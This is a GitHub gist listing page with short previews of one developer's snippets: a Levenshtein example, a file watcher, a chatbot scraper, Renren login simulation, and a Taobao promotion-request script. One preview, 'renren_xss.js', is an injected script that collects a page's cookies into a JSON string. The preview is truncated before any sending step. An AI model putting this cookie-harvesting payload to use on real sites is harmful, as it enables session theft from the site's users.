Skip to content

Instantly share code, notes, and snippets.

Avatar
🍃
Waiting for autumn

Wang Dàpéng wong2

🍃
Waiting for autumn
View GitHub Profile
@wong2
wong2 / example.go
Created Oct 5, 2012
Levenshtein Distance Algorithm
View example.go
package main
import (
"fmt"
"levenshtein"
)
func main() {
r1 := levenshtein.GetDistance("今天的话", "明天再说")
r2 := levenshtein.GetSimilarity("今天天气不错, hello world", "今天天气不错呢, bye bye world")
@wong2
wong2 / watch.js
Created Dec 5, 2012
watchdog example
View watch.js
import time
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler
class ChangeHandler(FileSystemEventHandler):
def on_modified(self, event):
print event.event_type, event.src_path
if __name__ == "__main__":
event_handler = ChangeHandler()
View hg-branch.md
hg branch fixbug
hg commit -m 'new branch'

fix bug...commit...

hg update default

code...commit...

hg update fixbug
@wong2
wong2 / simsimi.py
Last active Dec 10, 2015
小黄鸡
View simsimi.py
#-*-coding:utf-8-*-
import requests
import cookielib
class SimSimi:
def __init__(self):
self.session = requests.Session()
self.session.get('http://www.simsimi.com/talk.htm')
@wong2
wong2 / README.md
Created Jan 2, 2013
模拟登录人人(新)
View README.md

人人的登录改版后,采用RSA加密后传输密码,该项目用于解决这种情况下人人的模拟登录

使用前先 pip install requests

View 小黄系列
Sizzle('#active_2012_module li strong a').map(function(a){
var name = a.innerHTML,
pid = /\.com\/(\d+)\?/.exec(a.href)[1];
return name + ': ' + pid;
}).join('\n');
小黄鸡:601621937
小黄鸭:601626316
小黄猪:601626670
小黄鹅:601626463
View 小黄鸡系列
小黄鸡:601621937
小黄鸡2号: 601622487
小黄鸡3号: 601622652
小黄鸡4号: 601622829
小黄鸡5号: 601624725
小黄鸡6号: 601624734
小黄鸡7号: 601624954
小黄鸡8号: 601625409
小黄鸡9号: 601625414
小黄鸡10号: 601625491
View renren_xss.js
if (window.isUndefined(window.injector)) {
window.injector = 'defined';
d = document.cookie;
cookie = {};
reg = /([\w_]+)=([\w.]+)/g;
tmp = null;
while ((tmp = reg.exec(d)) != null) {
cookie[tmp[1]] = tmp[2];
}
cookieStr = JSON.stringify(cookie);
@wong2
wong2 / jsonify.py
Created Aug 3, 2013
flask jsonify decorator
View jsonify.py
import json
# jsonify response decorator
def jsonify(f):
def wrapped(*args, **kwargs):
return Response(json.dumps(f(*args, **kwargs)), mimetype='application/json')
return wrapped
@wong2
wong2 / 抓毛毛
Last active Dec 27, 2015
抓呀抓毛毛
View 抓毛毛
!function() {
var getLottery = function() {
var url = 'http://promotion.taobao.com/tmall/luckyCat.do?';
url += 'c24291a8ab24d18cd51be92e4b2eecce';
url += '&ruleId=1111';
url += '&RandomNum=' + new Date().getTime();
url += '&ua=' + encodeURIComponent(ua);
url += '&d=m';
KISSY.io({